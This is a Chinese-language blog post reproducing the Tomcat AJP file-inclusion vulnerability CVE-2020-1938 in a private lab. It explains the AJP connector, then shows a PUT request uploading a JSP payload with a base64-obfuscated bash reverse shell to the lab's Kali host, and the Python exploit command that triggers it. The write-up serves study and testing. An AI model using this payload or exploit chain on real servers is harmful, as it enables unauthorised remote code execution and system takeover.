Post

Tomcat(CVE-2020-1938)漏洞复现与分析

漏洞介绍

该漏洞是 Tomcat AJP 文件包含漏洞,是长亭科技安全研究员发现的 Tomcat 安全漏洞,可查看长亭科技对该漏洞的基本介绍,从中可以知道由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞危害

  1. 可以读取 webapp 目录下的任意文件;
  2. 在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

漏洞原理

Tomcat 配置了两个 Connector,分别是 HTTP 和 AJP:

  • HTTP Connector:用于处理 HTTP 请求,默认监听端口是 8080
  • AJP Connector:用于处理 AJP 协议(Apache Jserv Protocol)的请求,默认监听端口 8009,该协议可理解为 HTTP 协议的二进制性能优化版本,可以降低 HTTP 请求的处理成本,因此主要用于集群、反向代理的场景中。

下图中就是 Tomcat 对两个 Connector 的默认配置:

1
2
3
4
5
6
7
8
9
<!-- /usr/local/tomcat/conf/server.xml -->
......
<Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />
......
<!-- Define an AJP 1.3 Connector on port 8009 -->
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
......

环境搭建

照例通过 vulhub 上的 docker 环境进行复现,使用 docker-compose 命令配置环境即可。

计算机 IP
Kali 192.168.174.128
Win10 192.168.174.1
Victim 192.168.174.141

漏洞复现

配置好环境后访问 Victim 的 8080 端口,看到 Tomcat 的版本是 9.0.30

1

接下来使用大神编写好的代码进行漏洞检测和利用,可以查看 webapps 目录下的文件。

2

为了实现 RCE,也就是 Tomcat 支持文件上传,这里我们修改 conf/web.xml 文件,添加 readonlyfalse

1
2
3
4
5
6
7
......
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
......

不过该版本已修复 CVE-2017-12615 漏洞,不能成功绕过限制上传 JSP 文件,然而我们仍然可以上传其他的文件格式,比如说 txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PUT /a.txt HTTP/1.1
Host: 192.168.174.141:8080
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 353

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

此时 a.txt 文件已上传到服务器上,接下来需要修改下之前的利用代码,在下图所示中添加 .jsp

3

之后再执行代码:

1
python2 .\CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 192.168.174.141 -f a.txt

此时 Kali 即可接收到反弹的 shell 。

4

漏洞分析

漏洞验证

可以使用 Xray 进行漏洞验证,通过查看它的 POC 文件,我们知道他也是将我们上述的操作自动化执行,并且也会在服务器上创建文件。

1
.\xray.exe servicescan --target 192.168.174.141:8009 --html-output vulns\tomcat.html

5

修复建议

升级最新版本。

总结

  1. 熟悉 Tomcat 的两种协议;
  2. JSP 反弹 shell

Ref.

This post is licensed under CC BY 4.0 by the author.